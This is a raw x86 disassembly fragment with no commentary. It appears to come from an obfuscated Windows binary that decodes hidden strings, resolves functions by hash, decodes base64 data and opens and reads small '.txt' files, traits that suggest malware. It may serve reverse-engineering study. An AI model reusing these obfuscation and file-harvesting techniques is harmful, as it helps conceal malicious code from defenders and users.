cmp eax, 0x113
jne 0x42de20
jmp dword [0x44d97c]
int3
jmp dword [0x44da28]
jmp dword [0x44dae0]
push esi
call fcn.0040cde0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.0040cde0
add esp, 4
jmp dword [0x44dae8]
mov eax, dword [esp + 0x58]
and al, 1
add esp, 0xf4
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0x8c]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44da20]
mov edx, dword [esp + ecx + 0x90]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edx + eax + 2], 0
lea eax, [eax + 2]
jne 0x42e1e0
mov dword [esp + 0x8c], ecx
mov dword [esp + 0x74], eax
mov ebp, eax
sar ebp, 1
mov dword [esp + 0x60], edx
mov eax, dword [esp + 0x68]
lea ecx, [eax + ebp]
lea edx, [eax + ebp]
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42e21b
mov eax, 0xffffffff
push eax
call fcn.0040cdd0
add esp, 4
movzx ecx, word [esi]
mov ebx, eax
test cx, cx
je 0x42e251
mov edx, dword [esp + 0x70]
mov ebx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebx], cx
add ebx, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e240
mov word [ebx], 0x5c
mov dword [esp + 8], 0x79c67ba8
mov dword [esp + 0xc], 0x7ddb7fe9
mov dword [esp + 0x10], 0x71ee73db
mov dword [esp + 0x14], 0x75c37710
mov dword [esp + 0x18], 0x69cd6be0
mov dword [esp + 0x1c], 0x6df56ffc
mov word [esp + 0x20], 0x636c
lea ecx, [esp + 8]
mov byte [ecx + 0x1c], 0
mov word [ecx + 0x1a], 0
mov ecx, 0xbf
movzx edx, byte [esp + ecx - 0xb7]
mov esi, ecx
and esi, edx
add esi, esi
sub edx, esi
add edx, ecx
add edx, 0xab1cd100
mov esi, edx
xor esi, 0x3b
mov edi, edx
or edi, 0x44
and edi, esi
xor edx, 0x44
lea edx, [edx + edi*2]
inc dl
mov byte [esp + ecx - 0xb7], dl
inc ecx
cmp ecx, 0xdc
jne 0x42e2a0
add ebx, 2
mov edx, dword [esp + 0x60]
movzx ecx, word [edx]
test cx, cx
je 0x42e301
add edx, 2
nop
nop
mov word [ebx], cx
add ebx, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e2f0
mov word [ebx], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x42e331
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebx], cx
add ebx, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e320
mov word [ebx], 0
lea ecx, [esp + 0x64]
push 0x60
push 3
push 0x120089
push ecx
mov dword [esp + 0x98], eax
push eax
call fcn.00444c30
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44da30]
xor ebx, ebx
jmp dword [0x44dab0]
push dword [esp + 0x88]
call fcn.0040cde0
add esp, 4
movzx eax, bl
mov esi, dword [esp + 0x40]
jmp dword [eax*4 + 0x44dab8]
lea eax, [esp + 0x80]
push 0
push eax
push dword [esp + 0x6c]
call fcn.00444f80
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44da38]
mov esi, dword [esp + 0x80]
lea eax, [esi + 1]
push eax
call fcn.0040cdd0
add esp, 4
mov dword [esp + 0x6c], eax
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x70]
call fcn.00445060
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44da50]
mov eax, dword [esp + 0x80]
mov byte [edi + eax], 0
push edi
call fcn.00403da0
add esp, 4
xor ecx, ecx
mov dword [esp + 0x54], eax
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44da58]
jmp dword [0x44daa8]
push edi
call fcn.0040cde0
add esp, 4
mov eax, dword [esp + 0x64]
mov dword [esp + 8], 0x2c2d2e2f
mov word [esp + 0xc], 0
mov ecx, 0xf8a5adb8
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x75a5250]
xor edx, ecx
mov esi, edx
and esi, 0x67
xor edx, 0x67
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x75a5250], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x42e440
mov ecx, dword [0x451440]
test ecx, ecx
je 0x42e4a0
mov edx, dword [esp + 8]
xor esi, esi
mov edi, dword [0x451444]
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42e490
inc esi
cmp ecx, esi
jne 0x42e480
jmp 0x42e4a0
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42e78f
nop
nop
nop
nop
jmp dword [0x44dab0]
movzx eax, bl
mov esi, dword [esp + 0x40]
jmp dword [eax*4 + 0x44dab8]
mov eax, dword [esp + 0x68]
lea ecx, [eax + ebp]
mov dword [esp + 0x48], ebp
lea edx, [eax + ebp]
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42e4d5
mov eax, 0xffffffff
push eax
call fcn.0040cdd0
add esp, 4
mov ebp, eax
movzx ecx, word [esi]
test cx, cx
je 0x42e501
mov edx, dword [esp + 0x70]
mov eax, ebp
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e4f0
mov word [eax], 0x5c
mov dword [esp + 8], 0xb1c28ff0
mov dword [esp + 0xc], 0xb5d7b321
mov dword [esp + 0x10], 0xb9dab7d7
mov dword [esp + 0x14], 0xbdcfbb98
mov dword [esp + 0x18], 0xa12fbf28
mov dword [esp + 0x1c], 0xa5c1a332
mov dword [esp + 0x20], 0xa9c1a7cd
mov dword [esp + 0x24], 0xadc6abd4
mov dword [esp + 0x28], 0xd138afcb
mov dword [esp + 0x2c], 0xd5bed3b7
mov dword [esp + 0x30], 0xd9b4d7b0
mov word [esp + 0x34], 0xdbd8
lea ecx, [esp + 8]
mov word [ecx + 0x32], 0
mov dword [ecx + 0x2e], 0
mov ecx, 0x564aed1d
mov edx, 0x9b512e2
movzx esi, byte [esp + ecx - 0x564aed15]
mov edi, ecx
and edi, 0x7e
mov ebx, edx
and ebx, 1
or ebx, edi
xor ebx, esi
xor ebx, 1
add bl, 0x6f
mov byte [esp + ecx - 0x564aed15], bl
inc ecx
dec edx
cmp ecx, 0x564aed51
jne 0x42e580
add eax, 2
mov esi, dword [esp + 0x60]
movzx ecx, word [esi]
test cx, cx
je 0x42e5d1
lea edx, [esi + 2]
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e5c0
mov word [eax], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x42e601
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e5f0
mov word [eax], 0
mov eax, dword [esp + 0x74]
add eax, 0x12
cmp dword [esp + 0x48], 0xfffffff7
jge 0x42e619
mov eax, 0xffffffff
push eax
call fcn.0040cdd0
add esp, 4
mov ebx, eax
mov dword [esp + 8], 0x178219cb
mov dword [esp + 0xc], 0x13981589
mov dword [esp + 0x10], 0xf9a118d
mov dword [esp + 0x14], 0xb940d90
mov word [esp + 0x18], 0x908
lea eax, [esp + 8]
mov word [eax + 0x16], 0
mov dword [eax + 0x12], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x46
xor cl, byte [esp + eax + 8]
add cl, 0xa2
mov byte [esp + eax + 8], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x18
jb 0x42e660
movzx ecx, word [esi]
mov eax, ebx
test cx, cx
je 0x42e6a1
add esi, 2
mov eax, ebx
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x42e690
mov word [eax], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x42e6d1
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e6c0
mov word [eax], 0
mov dword [esp + 8], 0x1312116a
mov byte [esp + 0xc], 0
mov eax, 0x7785d93c
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x7785d934]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xd4
mov byte [esp + eax - 0x7785d934], cl
inc eax
cmp eax, 0x7785d941
jne 0x42e6f0
lea eax, [esp + 8]
push 0
push 0
push 0xc00000
push eax
push ebp
push ebx
push dword [esp + 0x120]
call fcn.00425d60
add esp, 0x1c
mov ecx, dword [esp + 0x58]
and cl, 1
or cl, al
mov dword [esp + 0x58], ecx
jmp dword [0x44dac0]
push ebx
call fcn.0040cde0
add esp, 4
mov esi, dword [esp + 0x40]
jmp dword [0x44dac8]
mov esi, dword [esp + 0x40]
jmp dword [0x44dac8]
jmp dword [0x44dad0]
push ebp
call fcn.0040cde0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
push ebp
call fcn.0040cde0
add esp, 4
jmp dword [0x44dadc]
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
jmp dword [0x44dab0]
mov dword [esp + 0x48], ebp
jmp dword [0x44da64]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44da70]
xor ebx, ebx
mov ebp, dword [esp + 0x48]
jmp dword [0x44daa0]
mov eax, dword [esp + 0x74]
add eax, 0x10
mov ebp, dword [esp + 0x48]
cmp ebp, 0xfffffff8
lea esi, [esp + 0x18]
jge 0x42e7e4
mov eax, 0xffffffff
push eax
call fcn.0040cdd0
add esp, 4
mov dword [esp], eax
mov dword [esp + 8], 0xb7da89db
mov dword [esp + 0xc], 0xb3e0b524
mov dword [esp + 0x10], 0xbf26b12c
mov dword [esp + 0x14], 0xbbbabd20
mov byte [esi + 2], 0
mov word [esi], 0
mov eax, 0xe1
lea ecx, [esp + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ecx]
lea esi, [eax - 0x3639a300]
or esi, edx
not esi
and edx, eax
or edx, esi
mov esi, edx
xor esi, 0xf202a96
mov edi, edx
or edi, 0x70dfd569
and edi, esi
xor edx, 0xf0dfd569
lea ebx, [edx + edi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [ecx], bl
inc ecx
dec eax
cmp eax, 0xce
jne 0x42e830
mov edx, dword [esp + 0x60]
movzx ecx, word [edx]
mov esi, dword [esp]
mov eax, esi
test cx, cx
je 0x42e8a1
add edx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e890
mov word [eax], 0
movzx ecx, word [esp + 8]
test cx, cx
mov edi, dword [esp + 0x6c]
je 0x42e8d1
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e8c0
mov word [eax], 0
mov ecx, dword [esp + 0x108]
push dword [esp + 0x4c]
push dword [esp + 0x54]
push esi
call fcn.0040d6d0
mov ebx, eax
jmp dword [0x44da78]
push esi
call fcn.0040cde0
add esp, 4
mov eax, dword [case.0x42cf5f.114]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push 0xbe5098bb
push dword [0x451434]
call fcn.004442e0
add esp, 8
push dword [esp + 0x50]
call eax
jmp dword [0x44daa0]
push dword [esp + 4]
call fcn.0040cde0
add esp, 4
push dword [esp + 0x54]
call fcn.00404e10
add esp, 4
jmp dword [0x44daa8]
push dword [esp + 0x54]
call fcn.00404860
add esp, 4
mov dword [esp + 8], 0x4855764b
mov dword [esp + 0xc], 0x7f427c7a
mov dword [esp + 0x10], 0x707c4c82
mov dword [esp + 0x14], 0x477a4442
mov dword [esp + 0x18], 0x70657575
mov word [esp + 0x1c], 0x4c79
mov byte [esp + 0x1e], 0xc2
lea ecx, [esp + 8]
mov byte [ecx + 0x19], 0
mov word [ecx + 0x17], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0x2c
mov ebx, edx
xor ebx, 0x56
add ebx, esi
xor bl, byte [esp + edx + 8]
add bl, 0x52
mov byte [esp + edx + 8], bl
inc edx
add ecx, 2
cmp edx, 0x1a
jne 0x42e9b0
lea ecx, [esp + 8]
push ecx
push eax
call fcn.00404c20
add esp, 8
mov edx, 0xffffffff
mov esi, 0xfffffffd
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, edx
add esi, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42e9f0
shr esi, 2
movzx ecx, byte [eax + edx - 1]
cmp ecx, 0x3d
je 0x42ea11
cmp ecx, 0x2e
jne 0x42ea12
dec esi
movzx ecx, byte [eax + edx - 2]
cmp ecx, 0x3d
mov dword [esp + 0x3c], eax
mov dword [esp], edx
je 0x42ea28
cmp ecx, 0x2e
jne 0x42ea29
dec esi
mov dword [esp + 0x84], esi
lea eax, [esi + 1]
push eax
call fcn.0040cdd0
add esp, 4
mov dword [esp + 4], eax
cmp dword [esp], 0
je 0x42eb34
xor ebp, ebp
mov esi, 2
jmp 0x42ea72
mov ebp, ebx
lea eax, [esi + 4]
add esi, 2
cmp esi, edx
mov esi, eax
jae 0x42eb34
mov edi, dword [esp + 0x3c]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.00422bf0
add esp, 4
mov ebx, eax
movzx eax, byte [edi + esi - 1]
push eax
call fcn.00422bf0
mov edx, dword [esp + 4]
add esp, 4
shl bl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, bl
lea ebx, [ebp + 1]
mov ecx, dword [esp + 4]
mov dword [esp + 0x44], ebp
mov byte [ecx + ebp], ah
cmp esi, edx
jae 0x42ea60
mov byte [esp + 0x5c], al
movzx eax, byte [edi + esi]
push eax
call fcn.00422bf0
mov edx, dword [esp + 4]
add esp, 4
cmp al, 0x40
mov ebp, ebx
je 0x42ea62
movzx ecx, byte [esp + 0x5c]
shl cl, 4
mov ebx, eax
shr al, 2
and al, 0xf
or al, cl
mov edi, dword [esp + 0x44]
lea ebp, [edi + 2]
mov ecx, dword [esp + 4]
mov byte [ecx + edi + 1], al
lea eax, [esi + 1]
cmp eax, edx
jae 0x42ea62
mov eax, dword [esp + 0x3c]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00422bf0
mov edx, dword [esp + 4]
add esp, 4
cmp al, 0x40
je 0x42ea62
shl bl, 6
add al, bl
mov ecx, dword [esp + 4]
mov ebp, dword [esp + 0x44]
mov byte [ecx + ebp + 2], al
add ebp, 3
jmp 0x42ea62
mov eax, dword [esp + 0x84]
add eax, 0xfffffffb
mov dword [esp + 0x78], eax
mov eax, dword [esp + 4]
add eax, 5
mov dword [esp + 0x7c], eax
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
push 0x14e20a34
push dword [0x45144c]
call fcn.004442e0
add esp, 8
lea ecx, [esp + 0x4c]
lea edx, [esp + 0x78]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
mov edi, dword [esp + 0x6c]
jmp dword [0x44da68]
push dword [esp + 0x54]
call fcn.00404860
add esp, 4
mov dword [esp + 8], 0x4855764b
mov dword [esp + 0xc], 0x7f427c7a
mov dword [esp + 0x10], 0x707c4c82
mov dword [esp + 0x14], 0x477a4442
mov dword [esp + 0x18], 0x70657575
mov word [esp + 0x1c], 0x4c79
mov byte [esp + 0x1e], 0xc2
lea ecx, [esp + 8]
mov byte [ecx + 0x19], 0
mov word [ecx + 0x17], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0x2c
mov ebx, edx
xor ebx, 0x56
add ebx, esi
xor bl, byte [esp + edx + 8]
add bl, 0x52
mov byte [esp + edx + 8], bl
inc edx
add ecx, 2
cmp edx, 0x1a
jne 0x42ebf0
lea ecx, [esp + 8]
push ecx
push eax
call fcn.00404c20
add esp, 8
mov ecx, 0xffffffff
mov edx, 0xfffffffd
nop
nop
nop
nop
nop
nop
nop
nop
add edx, 3
cmp byte [eax + ecx + 1], 0
lea ecx, [ecx + 1]
jne 0x42ec30
shr edx, 2
mov esi, ecx
mov dword [esp], ecx
movzx ecx, byte [eax + ecx - 1]
cmp ecx, 0x3d
je 0x42ec54
cmp ecx, 0x2e
jne 0x42ec55
dec edx
mov ecx, dword [esp]
movzx ecx, byte [eax + ecx - 2]
cmp ecx, 0x3d
mov dword [esp + 0x44], eax
je 0x42ec6b
cmp ecx, 0x2e
jne 0x42ec6c
dec edx
mov dword [esp + 0x5c], edx
lea eax, [edx + 1]
push eax
call fcn.0040cdd0
add esp, 4
mov dword [esp + 4], eax
cmp dword [esp], 0
je 0x42ed77
xor edi, edi
mov esi, 2
jmp 0x42ecb2
lea eax, [esi + 4]
add esi, 2
mov edi, ebx
cmp esi, ecx
mov esi, eax
jae 0x42ed77
mov ebp, dword [esp + 0x44]
movzx eax, byte [ebp + esi - 2]
push eax
call fcn.00422bf0
add esp, 4
mov ebx, eax
movzx eax, byte [ebp + esi - 1]
push eax
call fcn.00422bf0
add esp, 4
shl bl, 2
mov ecx, eax
shr cl, 4
and cl, 3
or cl, bl
lea ebx, [edi + 1]
mov edx, dword [esp + 4]
mov byte [edx + edi], cl
mov ecx, dword [esp]
cmp esi, ecx
jae 0x42eca0
mov byte [esp + 0x3c], al
movzx eax, byte [ebp + esi]
push eax
call fcn.00422bf0
mov ecx, dword [esp + 4]
add esp, 4
cmp al, 0x40
je 0x42eca0
mov edx, eax
movzx eax, byte [esp + 0x3c]
shl al, 4
mov ecx, edx
shr cl, 2
and cl, 0xf
or cl, al
lea ebx, [edi + 2]
mov eax, dword [esp + 4]
mov byte [eax + edi + 1], cl
mov ecx, dword [esp]
lea eax, [esi + 1]
cmp eax, ecx
jae 0x42eca0
mov eax, dword [esp + 0x44]
movzx eax, byte [eax + esi + 1]
push eax
mov byte [esp + 0x40], dl
call fcn.00422bf0
movzx edx, byte [esp + 0x40]
mov ecx, dword [esp + 4]
add esp, 4
cmp al, 0x40
je 0x42eca0
shl dl, 6
add al, dl
mov edx, dword [esp + 4]
mov byte [edx + edi + 2], al
add edi, 3
mov ebx, edi
jmp 0x42eca0
mov ecx, dword [esp + 0x5c]
mov eax, ecx
not eax
and eax, 5
and ecx, 0xfffffffa
sub ecx, eax
mov dword [esp + 0x78], ecx
mov eax, dword [esp + 4]
add eax, 5
mov dword [esp + 0x7c], eax
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
push 0x14e20a34
push dword [0x45144c]
call fcn.004442e0
add esp, 8
lea ecx, [esp + 0x4c]
lea edx, [esp + 0x78]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
jmp case.0x42cf5f.108
int3
jmp dword [0x44dbc8]
push dword [esp + 0x70]
call fcn.0040cde0
add esp, 4
and bl, 1
mov eax, ebx
add esp, 0xb8
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x6c]
push 0
push eax
push dword [esp + 0x1c]
call fcn.00444f80
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44db08]
mov esi, dword [esp + 0x6c]
lea eax, [esi + 1]
push eax
call fcn.0040cdd0
add esp, 4
push 0
push esi
mov dword [esp + 0x6c], eax
push eax
push dword [esp + 0x20]
call fcn.00445060
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 0x10], 0
lea ebx, [esp + 0x1c]
jmp dword [eax*4 + 0x44db10]
mov eax, dword [esp + 0x6c]
mov ebp, dword [esp + 0x64]
mov byte [ebp + eax], 0
mov dword [esp + 0x10], 0
nop
nop
mov dword [esp + 0x1c], 0x5662646a
mov dword [esp + 0x20], 0x525d505e
mov word [esp + 0x24], 0x956b
mov byte [esp + 0x26], 0xb6
mov word [esp + 0x27], 0
mov eax, 0xdd
mov ecx, 2
nop
nop
nop
mov esi, ecx
and esi, 9
mov edx, eax
and edx, 0xb6
or edx, esi
xor dl, byte [esp + eax - 0xc1]
xor dl, 0x49
add dl, 0xaf
mov byte [esp + eax - 0xc1], dl
inc eax
dec ecx
cmp eax, 0xea
jne 0x42f020
movzx ecx, byte [esp + 0x1c]
test cl, cl
je 0x42f090
mov eax, ebx
mov esi, ebp
jmp 0x42f067
movzx ecx, byte [eax]
test cl, cl
je 0x42f0a2
movzx edx, byte [ebp]
test dl, dl
je 0x42f0a0
inc ebp
inc eax
lea edi, [esi + 1]
cmp dl, cl
je 0x42f07c
mov esi, edi
mov ebp, edi
je 0x42f060
mov eax, ebx
jmp 0x42f060
mov esi, ebp
jmp 0x42f0a2
xor esi, esi
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44db18]
lea ebp, [esi + 0xa]
movzx eax, byte [esi + 0xa]
xor edx, edx
test al, al
je 0x42f0d2
mov ecx, ebp
nop
cmp al, 0x22
je 0x42f0d0
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42f0c0
jmp 0x42f0d2
mov edx, ecx
mov edi, edx
sub edi, ebp
xor eax, eax
cmp edi, 5
setb al
jmp dword [eax*4 + 0x44db20]
xor eax, eax
cmp byte [edx - 1], 0x74
setne al
jmp dword [eax*4 + 0x44db28]
xor eax, eax
cmp byte [edx - 2], 0x78
setne al
jmp dword [eax*4 + 0x44db30]
xor eax, eax
cmp byte [edx - 3], 0x74
setne al
jmp dword [eax*4 + 0x44db38]
xor eax, eax
cmp byte [edx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x44db50]
mov dword [esp + 4], edx
mov eax, edi
inc eax
mov dword [esp], eax
lea eax, [edi + edi + 2]
jns 0x42f13a
mov eax, 0xffffffff
push eax
call fcn.0040cdd0
add esp, 4
mov dword [esp + 0xc], eax
push dword [esp + 4]
push ebp
push dword [esp + 8]
push eax
call fcn.0040eef0
add esp, 0x10
push 0x60
push 3
push 0x120089
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x1c]
call fcn.00444c30
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44db58]
mov eax, dword [esp + 4]
mov ebp, eax
jmp dword [0x44db98]
push 0
lea eax, [esp + 0x6c]
push eax
push dword [esp + 0x20]
call fcn.00444f80
add esp, 0xc
mov edx, dword [esp + 0x68]
cmp edx, 0x100000
setb cl
test eax, eax
setns al
and al, cl
movzx eax, al
jmp dword [eax*4 + 0x44db60]
push edx
mov dword [esp + 4], edx
call fcn.0040cdd0
add esp, 4
push 0
push dword [esp + 4]
mov dword [esp + 8], eax
push eax
push dword [esp + 0x24]
call fcn.00445060
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44db68]
xor edx, edx
mov ecx, dword [esp + 0xc]
jmp 0x42f208
add ecx, 2
test ax, ax
je 0x42f219
mov ebx, edx
movzx eax, word [ecx]
mov edx, ecx
cmp ax, 0x5c
je 0x42f200
mov edx, ebx
jmp 0x42f200
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44db70]
xor ebx, ebx
xor ecx, ecx
jmp 0x42f23a
sub ebx, dword [esp + 0xc]
sar ebx, 1
mov ecx, ebx
inc ebx
not ecx
add ecx, edi
mov eax, ecx
and eax, 0x1b
xor ecx, 0x1b
lea eax, [ecx + eax*2]
push eax
call fcn.0040cdd0
add esp, 4
mov dword [esp + 8], eax
mov dword [esp + 0x60], ebx
sub edi, ebx
mov dword [esp + 0x1c], 0x84868c61
mov dword [esp + 0x20], 0x8173999a
mov dword [esp + 0x24], 0x9674319c
mov dword [esp + 0x28], 0x58859098
mov dword [esp + 0x2c], 0x9a8a9a7a
mov dword [esp + 0x30], 0x549e6494
mov word [esp + 0x34], 0x5257
mov byte [esp + 0x36], 0x3e
mov dword [esp + 0x37], 0
mov eax, 0x6aa1db86
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x6aa1db6a]
xor ecx, eax
lea edx, [ecx - 0x1529499f]
mov ebx, edx
xor ebx, 0x7e
or edx, 1
and edx, ebx
mov ebx, 0x9e
sub ebx, ecx
and ebx, 0xfe
or ecx, 0xfe
xor ecx, ebx
lea ecx, [ecx + edx*2]
mov byte [esp + eax - 0x6aa1db6a], cl
inc eax
cmp eax, 0x6aa1dba5
jne 0x42f2b0
add ebp, dword [esp + 0x60]
movzx ecx, byte [esp + 0x1c]
mov eax, dword [esp + 8]
test cl, cl
je 0x42f31b
lea edx, [esp + 0x1d]
mov eax, dword [esp + 8]
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42f310
mov byte [eax], 0
test edi, edi
lea ebx, [esp + 0x1c]
je 0x42f35c
mov edx, dword [esp + 0x60]
add edx, esi
mov ecx, dword [esp + 4]
sub ecx, edx
add ecx, 0xfffffff5
mov esi, edi
and esi, 3
je 0x42f364
xor edx, edx
movzx ebx, byte [ebp]
cmp bl, 1
sbb ebp, 0xffffffff
mov byte [eax + edx], bl
inc edx
cmp esi, edx
jne 0x42f33e
add eax, edx
sub edi, edx
mov edx, eax
lea ebx, [esp + 0x1c]
jmp 0x42f364
mov edx, eax
mov esi, dword [esp + 8]
jmp 0x42f3aa
cmp ecx, 3
mov esi, dword [esp + 8]
jb 0x42f3aa
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + 2], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
lea edx, [eax + 4]
mov byte [eax + 3], cl
mov eax, edx
add edi, 0xfffffffc
jne 0x42f36d
mov byte [edx], 0
mov ecx, dword [esp + 0xcc]
push dword [esp + 0x68]
push dword [esp + 4]
push esi
call fcn.0040d8f0
mov ecx, dword [esp + 0x10]
and cl, 1
or cl, al
mov dword [esp + 0x10], ecx
jmp dword [0x44db78]
push esi
call fcn.0040cde0
add esp, 4
jmp dword [0x44db80]
jmp dword [0x44db80]
push dword [esp]
call fcn.0040cde0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44db90]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x1c], 0x2c2d2e2f
mov word [esp + 0x20], 0
mov ecx, 0xf8a5adb8
nop
nop
movzx edx, byte [esp + ecx + 0x75a5264]
xor edx, ecx
mov esi, edx
and esi, 0x67
xor edx, 0x67
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x75a5264], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x42f420
mov ecx, dword [0x451440]
test ecx, ecx
je 0x42f478
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x451444]
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42f470
inc esi
cmp ecx, esi
jne 0x42f460
jmp 0x42f478
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42f497
mov eax, dword [esp + 4]
mov ebp, eax
jmp dword [0x44db98]
push dword [esp + 0xc]
mov ebp, eax
call fcn.0040cde0
add esp, 4
jmp case.0x42f0de.1
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
mov eax, dword [esp + 4]
mov ebp, eax
jmp dword [0x44db98]
jmp dword [0x44dba8]
mov ebx, dword [esp + 0x10]
jmp dword [0x44dbb0]
push dword [esp + 0x64]
call fcn.0040cde0
add esp, 4
jmp dword [0x44dbb8]
jmp dword [0x44dbb8]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], 0x2c2d2e2f
mov word [esp + 0x20], 0
mov ecx, 0xf8a5adb8
movzx edx, byte [esp + ecx + 0x75a5264]
xor edx, ecx
mov esi, edx
and esi, 0x67
xor edx, 0x67
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x75a5264], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x42f500
mov ecx, dword [0x451440]
test ecx, ecx
je case.0x42cf5f.193
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x451444]
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42f550
inc esi
cmp ecx, esi
jne 0x42f540
jmp case.0x42cf5f.193
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x42cf5f.193
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
jmp case.0x42cf5f.193
jmp dword [0x44dbc4]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], 0x2c2d2e2f
mov word [esp + 0x20], 0
mov ecx, 0xf8a5adb8
nop
nop
movzx edx, byte [esp + ecx + 0x75a5264]
xor edx, ecx
